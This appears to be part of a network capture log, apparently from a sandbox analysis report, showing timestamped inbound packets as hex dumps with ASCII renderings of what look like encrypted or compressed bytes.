2023-08-29 20:43:03 UTC	73	IN	Data Raw: 93 03 80 b8 a3 74 f7 e2 87 0c 00 10 2b 12 54 e6 fc 5a 13 0c be 56 c9 84 09 02 2c 30 58 c5 6f 01 b7 83 70 f4 49 4b e4 12 eb 70 fe bf de 62 33 40 3a 19 89 d7 94 ed 20 42 3c bd cf 92 4b 26 bf ab bd 24 83 d3 e1 0d 65 eb 92 1f 9d cb c4 e0 bc 3c d1 06 19 8a a7 40 ab 17 03 b2 e5 6e 9b ba cf 2a f3 42 62 d1 45 b2 49 55 3f 7e 3f 8f a2 ca bc c5 51 ea 19 e6 02 e3 75 85 5c 4f b2 06 ab 56 93 2b 35 d5 25 2d 43 00 a4 93 ee fb c1 21 5a 6b e6 a9 a8 e5 99 43 04 55 ba 34 72 cf 3e 8a b2 f2 44 94 28 ac b0 71 c5 1b 21 81 a8 e7 66 8c 22 a6 49 0e f7 04 9d 65 d3 f1 54 d4 a9 e2 6b d6 72 76 50 96 5b 28 83 d2 34 a5 d8 f3 0e 3b 64 6f 11 fd 1f 5b 17 41 02 26 fe 0e e1 4b 3f d0 09 a9 5d 31 6c 3f 8d e6 12 0c b8 09 75 0a 77 11 3a ab 14 ed 65 3f ad 3c 5f a6 d5 a9 cd 76 07 c6 f0 a5 38 05 c7 Data Ascii: t+TZV,0XopIKpb3@: B<K&$e<@n*BbEIU?~?Qu\OV+5%-C!ZkCU4r>D(q!f"IeTkrvP[(4;do[A&K?]1l?uw:e?<_v8
2023-08-29 20:43:03 UTC	74	IN	Data Raw: e8 aa fb 23 03 3e cd 21 d2 c1 a1 c1 76 35 a8 44 0a 59 92 88 3f ea 5f 11 23 74 7e 98 f4 a3 a3 d5 d6 b4 2f 4b 85 84 9f 5e 93 b7 ce 16 f3 cc 27 76 ee 82 95 55 45 2e 4a 24 1e 97 fc cd 76 1d 53 7d 92 19 8b 4f b2 8d 4a c4 73 6b af 5a 9e 54 91 07 cc 08 a4 28 61 19 b7 d7 14 82 3e ad 2b 16 85 db 12 41 79 2d f8 56 88 47 85 57 fc 83 8b 92 7d a4 e3 97 64 60 0e 42 97 d9 44 a4 3f cc 07 ca 7e 9b 11 8f f0 ad ea ca 0b a3 da ff 0f bc 4d 74 3a 12 d7 6e bb eb 35 c0 72 05 7c ca 12 80 cf 4d c6 e3 39 15 de 95 36 46 0b 0c 5a 8f 99 b6 a5 e3 61 04 20 00 cc ec 11 85 3d c1 52 be ce c5 05 be 9e 91 6c bf c8 eb ac 6f 18 3d e1 28 75 e6 f6 45 fa b2 79 23 75 10 7a dd e7 59 1c f1 52 5e 0c bd 28 7a 13 50 ab 6a 23 1e a9 5e b4 45 6a 1f 51 9c 55 f4 fa c2 d6 3c cc ff c6 5c a8 c3 1b b3 45 db 13 Data Ascii: #>!v5DY?_#t~/K^'vUE.J$vS}OJskZT(a>+Ay-VGW}d`BD?~Mt:n5r\|M96FZa =Rlo=(uEy#uzYR^(zPj#^EjQU<\E
2023-08-29 20:43:03 UTC	75	IN	Data Raw: 6d 80 4b 5a d5 b5 26 38 3d 5a 5c 6d 49 dc 7d 3a d8 6e 84 38 88 d1 bf 7e ef 96 ee 78 76 68 7f a1 26 3e 36 d7 0c cb df 2c 9d 6d b4 60 df 88 60 47 78 96 0e 58 08 f2 69 5e 38 e2 90 80 ed b0 8e 8b 95 82 9e a4 46 14 22 f2 01 a1 e4 65 fb 90 4d 4d 85 66 e8 46 76 12 90 8e 19 d5 a9 5b ff a2 d5 ba ad ef b8 c9 99 0f 98 c0 40 99 43 0b 30 4a 09 78 5a ed 59 2c 3d 5d 46 45 c4 8e 06 83 ad f1 02 a7 55 c4 e4 7d c1 31 6d 47 bb ae 8a 0c 0c 9e 04 45 f8 98 f1 5a 52 94 00 ea cf e0 ba c8 de 6e b4 33 75 4f c2 c5 73 cc b1 db aa 43 25 4c 81 9c 29 e7 28 7f d5 9b b5 6b eb 95 a6 1c 1d 26 a5 99 2c 61 6a 14 4c c0 ba 40 3f e2 32 0c 4e 3b d0 5d 2c 12 f8 04 8a a7 ff b4 32 03 92 df ee 60 96 79 99 7d 60 aa a7 33 52 12 a1 51 cc 0e 94 88 86 dd c2 5e 11 8f 8c 39 9a f5 ad 1e ec 43 4b d2 7c 81 32 Data Ascii: mKZ&8=Z\mI}:n8~xvh&>6,m``GxXi^8F"eMMfFv[@C0JxZY,=]FEU}1mGEZRn3uOsC%L)(k&,ajL@?2N;],2`y}`3RQ^9CK\|2
2023-08-29 20:43:03 UTC	77	IN	Data Raw: d0 a0 c3 01 92 5d 2f 06 69 28 6f cc c9 53 a4 0a 94 4c 68 1c be 33 89 f4 07 3c 94 b3 53 cb 23 f8 88 87 76 fa 1b c2 62 bc 73 36 f9 4b 52 b0 10 c6 e2 45 4a c9 38 5b c6 93 a3 b5 34 d8 93 e6 8a 49 34 ee 59 0f da 03 dd 4a 6d 11 fc dc ae 89 7d 9b ab f8 f5 f8 ac d9 50 5f 9a 3c 5d e6 16 74 76 14 ad 00 18 e5 9a 10 37 6e e5 e5 35 e2 6c be 90 e5 dc 7d 2d d0 d7 70 e7 f3 be f9 51 0c ef 89 0a 25 b6 95 62 50 ec cf 66 36 24 58 84 57 3f 1e d1 85 55 32 47 08 a7 33 b8 6f e7 6f 9a ab fe 05 3a 6b 43 69 7a f3 0c 68 4b 6e 38 ee 7f 93 7f 0e c9 ef 78 a1 4d 3c f0 b2 ed 94 13 5d 58 64 3c 13 14 26 7a 5b 4f c4 b3 90 7c 0a 06 23 d6 e6 85 68 bb 6d 69 8f c6 e4 1c b7 cd 58 b8 a5 e9 7a 3d 9e 8a 91 dc ef b0 7e f4 82 bd ec 05 b0 cd 1f 7e b5 2d 89 e1 f4 4c 4b e1 39 76 ca d1 2e 06 0f ea 1e e5 Data Ascii: ]/i(oSLh3<S#vbs6KREJ8[4I4YJm}P_<]tv7n5l}-pQ%bPf6$XW?U2G3oo:kCizhKn8xM<]Xd<&z[O\|#hmiXz=~~-LK9v.
2023-08-29 20:43:03 UTC	78	IN	Data Raw: f6 b1 ed a9 f2 2b 42 49 e8 f5 5d cb 3e 62 23 57 ec 86 0a ef 2b b8 84 ac 82 85 27 29 41 74 e9 9e 19 8b ba 60 13 6b ef f1 e8 64 46 06 a6 f6 45 23 29 b3 c9 fe 76 f6 3a aa e5 93 e7 3e e3 4a a8 b9 ba bf b7 24 50 ca 1f fa 5c bd ea 9a ea d3 bb c8 23 96 2a 0f 20 50 16 aa df f1 75 1b cc 4b 32 b0 55 f9 ab cd 34 84 3a 16 a0 22 60 03 2e 55 b6 e3 25 3e a2 ad 3c cd 46 9f 2a 3b c9 f4 f8 95 8d 79 7a 47 27 72 2e c1 d4 07 fb 87 b5 de 01 5d 6b 7a fa 5d f1 64 0c c0 69 59 df b9 d4 ee 4f 2e 54 27 55 f7 0e 5d b0 1f ef bf 72 d2 f7 48 0e 50 7e 0d 9e c5 db 55 2f 3b bf bc a5 d8 8a 08 dc c6 93 42 8d c7 b1 db 60 6c 44 25 30 f1 52 82 47 bf 8f 9f 0b 26 ff 97 31 38 7e 14 fa 6c 0b e6 4b 6d b6 0b 2a b3 25 6a c3 5e 79 7a d4 db ad 3b 76 07 95 70 e6 3c 51 a1 37 f5 f3 35 03 8f c4 80 04 7f 93 Data Ascii: +BI]>b#W+')At`kdFE#)v:>J$P\#* PuK2U4:"`.U%><F;yzG'r.]kz]diYO.T'U]rHP~U/;B`lD%0RG&18~lKm%j^yz;vp<Q75
2023-08-29 20:43:03 UTC	79	IN	Data Raw: 38 99 2d 27 39 6a dd 4f a9 c6 de ca aa 71 60 5b 09 c1 0c 86 3b 47 a5 83 cf b9 13 13 cc 00 75 38 e5 1c 11 31 87 b3 76 d3 b5 11 41 93 6f 7b 48 a2 12 e3 45 6d d1 28 b1 5c ab 9a f3 ad 16 ba b3 a3 42 3a b3 87 d3 2a c8 de d2 45 b9 1c fd 72 0b d4 df bd bc 92 80 d6 db 19 3b ec 55 70 34 7a 53 ff bf 0b 33 8b fe 54 3a 61 a5 f6 4a 7f f0 d8 8c 28 28 b3 4b 55 f0 78 54 12 da ee 97 1c a1 19 63 55 b2 d6 29 a5 70 7d 06 e1 4e e4 ea b8 93 cb 25 36 ff a5 f0 d4 73 cc a9 ea 60 df 9d 19 76 07 0c 87 8d aa cc 59 d4 1f 8b f0 52 d5 f8 ab 62 aa 18 cb 0d 0c e8 a1 a9 2d fb d0 a5 8e 02 01 e4 98 47 0c d5 21 a4 78 f7 0f 9d 3e b1 40 b9 1f 1a b4 05 f2 2a 41 06 b6 95 1b bf d5 e7 6a 5b 5a 60 00 c8 bf e9 9d 41 c0 0a fe de c8 29 69 a7 65 6e 37 f5 94 c9 48 ed 1c 7b 5d 55 89 e1 55 e3 6d 2f c2 d6 Data Ascii: 8-'9jOq`[;Gu81vAo{HEm(\B:Er;Up4zS3T:aJ((KUxTcU)p}N%6s`vYRb-G!x>@Aj[Z`A)ien7H{]UUm/
2023-08-29 20:43:03 UTC	80	IN	Data Raw: be 09 80 70 ed 86 0c cf b5 71 09 97 99 12 b2 54 d5 83 97 ba d5 50 33 1c a8 95 cd 3c f5 b5 13 60 d8 b8 a2 0a 76 bb 15 84 6c 5e 2a 36 9b 43 01 a9 aa 26 08 78 1f 3a a1 5b 84 d0 4b 81 49 11 81 ec a1 91 5b c1 1b fa 5b 9b da 3b 88 07 e5 07 05 df c0 f9 81 a3 01 94 25 f6 37 2c 09 2e 07 2d 3e 7e 71 7a 5c 98 67 59 38 d6 1e b5 6c 56 07 5a c9 99 3f 81 eb 7f 8d 4a 38 c9 cb f3 89 13 24 a4 64 7d c5 33 67 13 54 20 7f 2e 74 76 25 38 db f6 41 a2 1a e6 c0 c2 c6 2f cc 66 92 46 e5 18 38 73 ab e1 ef d3 46 95 d5 92 e2 1c bb 86 3d 30 68 42 95 c3 3e d5 e0 9e 42 19 69 97 b6 05 da 38 62 55 98 aa 66 42 cf b5 f5 be ac 29 1f 32 d8 8b 00 94 55 8d 61 b0 1a 71 1e 55 cd 5a 64 9e f6 7d cb 56 19 42 7c dd 83 d8 fe ed 14 62 5e ce 65 fc 8e c0 33 e8 7a ae 12 6f cf ab ab e5 ed cb 2e 00 db c5 ba Data Ascii: pqTP3<`vl^*6C&x:[KI[[;%7,.->~qz\gY8lVZ?J8$d}3gT .tv%8A/fF8sF=0hB>Bi8bUfB)2UaqUZd}VB\|b^e3zo.
2023-08-29 20:43:03 UTC	81	IN	Data Raw: fe b9 c2 1e 22 1d ea bb dc c8 d0 a4 51 3b 6e 4e cb 39 3e 93 d2 9f dd 97 07 cc 54 cb b9 28 59 3c 73 15 99 be fe 31 82 7b 24 64 20 a4 b3 85 2f c4 de e5 1e 01 d9 d7 6d af 16 92 07 2a 26 32 4c 61 08 bf af f4 5a f4 25 58 9f b1 ea 6b 98 b3 9e 1c f7 57 02 65 c2 d1 55 c4 95 68 67 f2 06 b1 d8 5a 9a 00 67 8c 5c 1a c1 2b cb da c6 6a Data Ascii: "Q;nN9>T(Y<s1{$d /m*&2LaZ%XkWeUhgZg\+j
2023-08-29 20:43:03 UTC	82	IN	Data Raw: 69 7f 7c 78 4b 88 2a 50 ca d9 ec 67 d9 3b b0 74 e5 39 13 38 01 73 ba 2f 7d 5e 91 4e 8f 1f 09 96 fd f6 8f e9 b6 2e 96 80 12 66 76 2d 27 14 d3 22 dd 70 99 10 bb ad 8d 3c 14 f3 c9 a1 0f 60 38 03 6f 50 bd 07 07 89 be 22 87 5d 67 29 b1 8c be e9 3f ef e9 14 5f 46 97 5a c9 08 8e 24 49 cf c7 87 42 83 23 9a 11 d7 10 14 fa 52 df 73 61 5f 26 45 18 b8 e2 da 96 da 1a 92 56 82 36 ee 3f 8c 30 61 22 b8 9d 44 f8 e0 b2 02 a2 3e 99 76 75 79 63 fb 82 77 11 b9 4c 1f 7c 99 3e 8c e1 34 d4 62 0e cc 57 b6 4a 84 79 db 7b fb 9f 9b 48 a1 67 7d a8 5a fa a7 dd 85 46 94 c5 7f b0 ec 1e 0d 34 b8 cf b4 0f f5 0d 98 f3 ba 3d e8 f8 0e 5f 31 8d b4 42 ca 38 5e 04 73 f9 e6 9b a1 04 c4 f0 84 e8 5d da e0 de 78 3b b3 11 2f de 2a 3d 3b 02 13 55 4f f5 7c 26 e3 15 60 d5 22 c0 e9 f4 92 a2 e8 80 68 75 Data Ascii: i\|xKPg;t98s/}^N.fv-'"p<`8oP"]g)?_FZ$IB#Rsa_&EV6?0a"D>vuycwL\|>4bWJy{Hg}ZF4=_1B8^s]x;/=;UO\|&`"hu
2023-08-29 20:43:03 UTC	83	IN	Data Raw: f4 0b 9c b8 00 7c e5 fc 72 92 1b 67 0b 56 1b 42 51 7e 33 e7 df c8 52 08 40 f9 a3 98 d4 ea 4f 5d 85 9e db f4 a6 8b fe 74 b7 c6 5d a9 33 97 ce 9c fc 68 40 79 30 58 8c af cd 76 e9 67 d9 18 b4 c7 32 b0 c0 8b c6 c1 58 53 0a 01 d3 d3 d5 84 8b 4d a2 02 39 7b 1f ae 02 6d 95 01 59 a4 2c b5 af d2 c5 d4 4b 0f fd fa 82 61 82 3a fb 4f 78 91 6e 0f d8 8a 57 01 fc c8 d0 b8 74 6f 6a cb 17 53 07 8f d4 d3 a6 a2 27 31 31 03 02 7f 57 8b d2 3b 12 ff 26 0a 7c 30 03 89 91 ce 20 94 5e 30 db 7d ba ff 3b fb e2 38 57 50 01 bb e0 f2 07 f8 5b 3f 63 2f ff 60 80 84 b6 36 a2 14 18 f3 ff 9e ad 24 e9 3a 96 01 2b d7 b2 d1 80 1a d9 de 13 39 bc 6b c6 bb 46 04 30 6e b4 75 56 92 be 56 0a 60 88 d0 22 2c e4 e9 eb ca d0 9b 03 a7 df 0d c3 82 90 19 4b dc 01 eb ed 82 96 46 fb 1c 1a 4b 43 79 fb 21 0b Data Ascii: \|rgVBQ~3R@O]t]3h@y0Xvg2XSM9{mY,Ka:OxnWtojS'11W;&\|0 ^0};8WP[?c/`6$:+9kF0nuVV`",KFKCy!
2023-08-29 20:43:03 UTC	84	IN	Data Raw: 11 d8 c2 87 c0 a0 09 79 45 05 fe 5b 14 4d ba 87 e9 df e4 d7 c5 24 b3 f7 de 9a 4b 49 77 8f 4f 60 a8 3e f4 0e d7 8a f0 52 80 3e 14 42 85 de 11 76 ce b2 dd 0d fb 0d 0c b0 2a d9 b7 b8 1f 4d da 81 9d e2 dc 51 4b 5d f7 de bc 7c aa 86 ac 0d 64 a1 33 25 8e e6 b9 84 b0 2b cb c6 65 ff 22 35 11 aa 13 66 88 f6 60 a8 85 9b 25 e4 d2 09 3a 14 ad 31 8f 88 bc f7 dd 22 e1 60 dc 4f 3d 3f 6c 2e c5 e4 a3 e6 9a aa cd 29 f9 1a 26 5e 5a 88 ca 05 a2 a5 71 0b 95 a3 50 d6 06 bb 7b 27 21 03 82 63 e7 82 f0 12 83 c4 67 43 fa 18 f6 41 35 c1 62 33 64 f5 7b 5c 23 de 34 95 f5 b5 ff 82 9b ca 02 51 96 69 01 00 60 35 de 8a dc f6 81 c4 8e 93 27 0d 20 d6 a8 d5 9c 53 08 37 33 75 14 17 1b 3e 2d d5 d2 0a ab ba 9e 1a ba be 7f 25 ff 98 0e a2 49 27 44 90 5d e7 0a 56 bd 96 91 3a 8d a3 b5 87 3b 2b 71 Data Ascii: yE[M$KIwO`>R>Bv*MQK]\|d3%+e"5f`%:1"`O=?l.)&^ZqP{'!cgCA5b3d{\#4Qi`5' S73u>-%I'D]V:;+q
2023-08-29 20:43:03 UTC	85	IN	Data Raw: c5 d1 da a4 e2 1d 89 10 4a c8 b8 1f 3e ca ca 52 c2 3e 37 9e f0 87 e2 08 a0 3e dc 99 83 06 dd fc 2c fa d3 56 65 e2 67 33 b7 8f 20 b5 bc 51 f9 76 f0 d8 e7 b8 4d dc 1b 28 f2 12 59 e3 29 59 59 26 02 b8 6e 30 5f 70 d6 bb 8d 5a 25 bb 4b f1 ac 8f 54 25 42 00 9e 00 19 1f 2c 03 19 0d bf 2d ac 73 59 ba 28 18 e2 0e 85 5c 19 ed 46 3f 50 7c 3f b6 54 1e 91 da 55 ee 79 b3 92 98 b0 63 68 a5 db 6c d7 ea bb 0f 9a c4 68 70 a9 80 bf 4e 46 ac 30 24 0c d0 3e 67 a1 3d 87 74 42 2a 8f 65 3d 96 0a 7b d1 7e 96 fa ad 1f 62 d9 d4 e1 03 32 95 28 c0 10 b2 03 c3 49 d8 dc 10 8c 1a 31 b5 bc 90 92 34 4c 10 ea 83 99 38 5d 20 1a ac 98 27 fc b1 64 46 25 20 46 f2 98 5b 82 ab 77 0c 1b 6e 35 01 f2 c8 08 ea 69 3a cf d4 d7 82 f9 f1 a9 f4 5e 00 87 dc 7c 5c 3c ca 49 85 7f 45 72 42 75 d2 13 5d b8 e1 Data Ascii: J>R>7>,Veg3 QvM(Y)YY&n0_pZ%KT%B,-sY(\F?P\|?TUychlhpNF0$>g=tB*e={~b2(I14L8] 'dF% F[wn5i:^\|\<IErBu]
2023-08-29 20:43:03 UTC	86	IN	Data Raw: 3b 00 bc ba e4 f1 56 ac ce 43 da b3 81 80 be d7 4c d4 21 b1 0f d2 36 d6 e9 d7 13 cf 6d 74 a8 ce f5 66 e2 4e 46 cc e5 fe 49 46 74 6c f9 0a bf 9f 0c e4 5b 30 e6 fe 8c f5 44 8e 4a e3 65 e7 26 3c 10 4a 65 12 72 f5 0b df c9 72 81 79 a1 4c e1 69 21 82 41 6a 58 9a c0 5f b1 68 81 d7 2a 2b 56 c7 04 1a 1f af 88 ee 1a 81 99 9a 81 5d 79 da 19 c3 2d a0 56 82 7e 0f 03 03 57 4a 50 52 b4 a8 45 87 9c 9e df 09 e0 01 44 f9 92 28 86 f9 b1 73 2c 39 b7 74 d6 bf 50 3a 0f f2 c7 fa 14 37 c1 40 45 90 2d 59 f9 4a a4 19 dc c8 e4 f9 58 56 96 f2 d2 9b b2 16 b6 4b 6a 29 47 45 41 f1 7d f5 7e f1 91 90 cb 03 ed 95 97 ba 1b 24 a3 c3 f6 97 70 4c 12 6b 84 e9 95 bb c6 d5 75 46 71 90 22 88 57 c6 43 0b 05 eb 5f d9 0d 02 63 3a 37 37 8b a4 15 87 f4 a3 e4 a9 68 10 9e da 5c 29 26 9c 17 bd c9 95 5f Data Ascii: ;VCL!6mtfNFIFtl[0DJe&<JerryLi!AjX_h*+V]y-V~WJPRED(s,9tP:7@E-YJXVKj)GEA}~$pLkuFq"WC_c:77h\)&_
2023-08-29 20:43:03 UTC	88	IN	Data Raw: 23 f6 ad 79 c2 10 a0 3e 8f 42 98 28 6f 8d e3 dc 60 8e db 88 f3 a6 79 82 01 90 8e a5 da b9 93 ef 7c c5 a9 9b d8 ce 2e a0 62 1d 0a 37 dc 2d fd 1c 26 fa 8c c1 0d d3 0c e0 78 14 d5 a4 48 26 ad da 58 b1 14 a6 89 b5 0c 51 54 b6 91 6d 79 bd c7 c0 f5 f3 af a3 6f c3 ac f4 42 af 57 36 a7 86 c0 86 b6 86 d0 74 af 76 38 a1 01 ad db ce fc 24 eb a7 23 29 19 da df fe 27 51 0e ff d8 26 fb f8 ea 4e 1d 4c db e8 5f 4b 74 be f1 3e ad b2 1d 87 df 71 39 5b 86 0a bb 68 b7 b7 91 71 03 bd 0d e7 4c a1 26 ae 10 ae 2d 33 38 cd 78 67 4b 98 94 5c 08 62 a0 44 bb 27 e4 74 9c b2 eb 92 20 bd f6 6c 36 4c dd 4e f2 1f 49 fe 9e bb 31 5a a0 90 8c a3 9f 84 41 92 17 d7 d2 d0 fe 44 e2 36 b7 93 0c 62 8c e7 14 f7 c3 67 e5 2f 25 39 18 04 bf 76 fa 0c 78 dd 27 24 3b c0 bf 77 7c 12 fe 7d 17 8b 76 7c 0b Data Ascii: #y>B(o`y\|.b7-&xH&XQTmyoBW6tv8$#)'Q&NL_Kt>q9[hqL&-38xgK\bD't l6LNI1ZAD6bg/%9vx'$;w\|}v\|
2023-08-29 20:43:03 UTC	89	IN	Data Raw: b4 22 3f d7 52 33 19 34 dc 87 96 e0 69 0b 47 f3 29 4e fe 35 9a 1c 0c e9 7e 68 31 e1 b3 05 63 5d c5 bc ad 24 ff b9 f3 de 8d e2 65 d7 e8 a2 b7 42 38 24 bb cf 7a 66 1f c8 57 b9 06 0f 12 65 37 fe dc f8 3e 06 ba 1a 29 1e 4a 18 f9 da 5b 85 1a 76 c1 f1 f7 f0 0f 65 64 b9 5f cd 4b 32 8d 7f 09 ad c0 8c 16 1a c9 74 6a 80 5f 00 a5 2a ae a3 65 2c 37 d9 0d e7 48 1e 06 ba d1 33 13 17 b0 d7 c3 50 40 3c 50 ed 0b 40 37 f3 d6 6f 0f c4 12 c2 41 bb de 90 35 bb f7 fb ed bd c1 d1 b5 ca 6b b3 b9 37 a2 7b 84 95 16 2e 9f 00 52 95 33 5f 58 9a bb 35 f1 1c b6 2c 11 0b c4 77 52 74 6e 5f 17 0a 4a eb f2 22 55 aa e2 20 3b 42 8c 84 71 c9 18 01 ae 0f 11 91 ec 9c 95 98 89 e7 a5 7c 32 4f 3c d4 12 6c aa 5d c1 d0 69 f8 3e 85 d2 e5 12 7a 1a cb 4f 3f 46 2a a6 4f 18 eb 18 ef 46 6f 60 ad 98 ac 9f Data Ascii: "?R34iG)N5~h1c]$eB8$zfWe7>)J[ved_K2tj_e,7H3P@<P@7oA5k7{.R3_X5,wRtn_J"U ;Bq\|2O<l]i>zO?FOFo`
2023-08-29 20:43:03 UTC	90	IN	Data Raw: bd 4a 0d 0e c7 48 66 93 3d 12 85 25 e0 c1 f0 7c 04 0b 2d cb 3d 4c f0 ad 1b 31 79 d9 18 ba a3 c1 85 ca 17 54 19 da 8f ab cb 24 dc 1c 5a 50 5e b5 19 ea d4 ab 35 39 14 29 46 8a f7 6d 83 c4 ea e9 af 15 4a bc 5b f7 63 81 84 d6 78 1a 9a ca ae 5e 36 eb 7d ea 15 34 6e 08 41 b4 86 df 68 e5 f3 eb a1 b1 b1 d0 a6 05 2f 48 1b c7 b0 4a a7 71 a9 34 62 45 8a 2e de 9c 2f b8 07 71 2d 9b 52 47 76 81 db 0b b6 47 9d 6e 67 93 b6 f2 ea ad 96 38 57 48 4d 90 44 f8 20 43 1d f1 73 3e 04 e9 1d 8a 4f c4 82 9a 77 da 2f 75 5a 4d d5 8a 98 70 98 3d c4 39 af 60 da 33 31 95 87 0f fb 9d 7d 9a f4 8e 5b e5 f6 1b d0 d3 78 77 f2 77 b2 a1 e8 df 44 01 4b b6 95 1a 0c 42 e3 d6 5c b2 00 f3 13 07 f6 87 fd 5f 48 e6 1f 5e c8 25 1a eb 7b bc 11 94 8b de 8d 8e 32 e4 66 95 98 41 77 d7 45 35 f8 9f 8f 2b 80 Data Ascii: JHf=%\|-=L1yT$ZP^59)FmJ[cx^6}4nAh/HJq4bE./q-RGvGng8WHMD Cs>Ow/uZMp=9`31}[xwwDKB\_H^%{2fAwE5+
2023-08-29 20:43:03 UTC	91	IN	Data Raw: 62 ba d5 16 a2 ad c7 07 54 4b 05 1d 12 16 fb 95 7d 93 f7 21 d4 94 72 7a d9 0a 6d 43 16 ef 95 c9 1a 40 0f 13 40 d4 47 9a 1e 1f 05 21 72 0a 13 cd 48 7d 3f 76 88 31 a2 97 7a f0 f8 9b 2e 13 1a a5 1c 8a 1e 22 a8 d7 e6 04 d4 16 c8 3a 6a 49 25 6f 42 94 0e 1b 41 76 46 3a 09 5e 7d d9 9d 18 4a 15 34 c3 d7 75 18 15 06 a4 bd 7b 95 cf ac 32 a0 06 8b 4b ed 03 9b fe 79 5c 08 a4 2f af 5d bc 64 5d cf bd e2 a3 1d 97 6e ff 44 22 a8 5c 1b e2 28 f1 6f f3 a1 8f 23 b8 d5 56 5f 36 46 9c dd 90 1e 3a 86 ee dd 2c 31 84 13 9a f8 37 56 66 29 16 31 0f e9 42 b4 f1 6b c6 c1 4a 63 71 17 24 4d c6 17 57 a8 21 69 1e 5c 95 c3 94 8c c2 74 8e d8 b2 99 ff 82 af 4e 24 de 14 87 15 34 c0 76 50 41 bd 4d 83 13 4d 8f be 8e 32 6c 18 36 19 c7 fe 71 be 95 cd ac 6d c3 e7 55 bf 94 e9 4f f4 33 75 af fa f8 Data Ascii: bTK}!rzmC@@G!rH}?v1z.":jI%oBAvF:^}J4u{2Ky\/]d]nD"\(o#V_6F:,17Vf)1BkJcq$MW!i\tN$4vPAMM2l6qmUO3u
2023-08-29 20:43:03 UTC	93	IN	Data Raw: a7 02 e5 ce fa 67 79 e7 8b e3 d8 47 6e 9f 82 54 5e eb b2 06 97 f4 d9 d7 e4 20 36 70 2f 71 1c e1 10 d5 47 5c 17 ee bc 8e 8a 6f dd 90 e5 70 77 02 24 f0 ea 98 d7 b5 e4 0e aa 19 33 de 1b bb dc 06 ed d9 16 b6 c5 51 1f c9 b5 a6 68 2f 53 c6 26 b8 9d cd 77 77 d8 78 2b 93 b9 5e af 81 10 75 8f c7 b2 1f b7 7d 07 d5 e3 75 06 18 4b 9a 8e 6c 74 d7 e0 92 d2 e2 ed 1e b9 87 02 0a 1c b2 ab ba 6a f4 bc 46 9d 2c f1 e4 c7 0a f5 10 3c 19 0b 6e 45 64 be da 4e 67 13 5b d6 0f ea e0 8d a7 77 6a f2 bd a5 a1 d2 9a 85 71 85 7a a3 b3 ac d5 67 49 a5 cd c4 d3 c2 31 fa 59 7b 99 e7 23 c1 93 69 e4 46 e1 31 17 9f ad aa 94 e9 01 31 e4 c1 c8 64 a1 7b 18 64 a9 ab 7a 9d f5 b0 98 f8 ad 2c cf d8 b7 e9 5a e9 7b 9a 63 44 2c 25 32 20 5b 5f 43 9f 9e d4 ff fe 63 76 b9 c8 5f 93 3d 59 51 50 8f bf f8 8c Data Ascii: gyGnT^ 6p/qG\opw$3Qh/S&wwx+^u}uKltjF,<nEdNg[wjqzgI1Y{#iF11d{dz,Z{cD,%2 [_Ccv_=YQP
2023-08-29 20:43:03 UTC	94	IN	Data Raw: a1 51 8c 3b 08 e2 fa 73 b2 67 9a d0 74 34 b4 03 6f f6 8f 59 df 7d c6 52 e4 fa 85 73 a7 5a e8 64 4c 58 74 27 8f 55 13 c1 74 36 dc 61 5e 3d 42 0a ac 74 2e 70 b8 a2 34 8f d8 10 c7 9c 59 48 b3 56 4a 29 f7 f2 66 01 35 6b 6e 94 39 74 b1 e9 65 8a 8f 08 77 fd cf e0 4f f0 ec 84 f7 68 89 c3 ce df fe 63 1a 11 46 f1 c8 2f 54 53 89 32 19 a0 98 9c 40 29 3d ef 0d f7 8c e8 97 1a 0f 0d 5e 14 c3 a4 75 39 c7 10 57 5c 16 ec 88 db b1 46 7f 28 ee 12 ac 4b 8e 46 d7 38 65 d5 6f a1 b4 cb 89 b9 d8 d9 c4 54 88 71 b9 50 32 77 13 14 a3 6e 0e ba 39 27 77 c2 ce 74 a7 e3 dd 05 04 2c 5d 7c f2 4a 15 dd 19 e2 29 ef 3d 1c 8a 3b e5 20 69 9d ec 32 c2 a2 b2 33 9b 82 b1 39 fd d7 fd 05 1c f2 d9 52 73 e9 d1 14 f8 56 db ce f0 40 e7 87 c4 08 05 a8 56 ad 81 9f 53 46 bf be a6 0c ec e4 f5 f1 89 55 ee Data Ascii: Q;sgt4oY}RsZdLXt'Ut6a^=Bt.p4YHVJ)f5kn9tewOhcF/TS2@)=^u9W\F(KF8eoTqP2wn9'wt,]\|J)=; i239RsV@VSFU
2023-08-29 20:43:03 UTC	95	IN	Data Raw: 78 71 1f ed e3 55 eb ab 80 e1 45 df 54 95 9d 65 ae e2 d3 e8 55 71 2f 50 29 8f 51 a7 fd 0c ad 2c 83 a9 cb b2 3b a1 d4 45 ab 0b b9 d2 87 17 fa eb 69 69 98 67 89 18 d8 1f 72 5a e6 9c ff 7c 56 5c e7 27 08 bb 11 33 c0 93 b9 68 92 3f 59 37 ae 93 d2 73 86 26 65 52 92 e8 79 1a 12 09 9c a6 48 24 88 16 8b e9 f4 62 af b7 15 a2 b2 e1 22 05 ab 9e 03 35 7e c9 01 00 1a 7d f2 57 47 b3 97 a0 75 ca d7 97 0a f9 33 e5 3d 36 89 d4 87 a4 52 3f c7 68 38 81 57 61 77 bb ff 55 0f 4a 5f 28 f0 8e ac d3 5e 83 46 0b 20 49 12 2f 5c cd 46 f3 fc da b4 7b 15 0e 8f a3 42 1c b1 d4 58 da e2 08 98 61 9e 3d 4a e8 76 c2 f8 a5 e6 1f bb 31 ed d0 71 00 2d f5 d5 e4 50 4a bc d4 0c 5f c4 0d d3 bd a5 3e eb e8 da 1a 95 1d 6e 98 0d ed 96 3c 86 e9 58 f0 73 8f 02 c4 10 e7 63 bb 26 bd 1b c2 36 e4 13 46 de Data Ascii: xqUETeUq/P)Q,;EiigrZ\|V\'3h?Y7s&eRyH$b"5~}WGu3=6R?h8WawUJ_(^F I/\F{BXa=Jv1q-PJ_>n<Xsc&6F
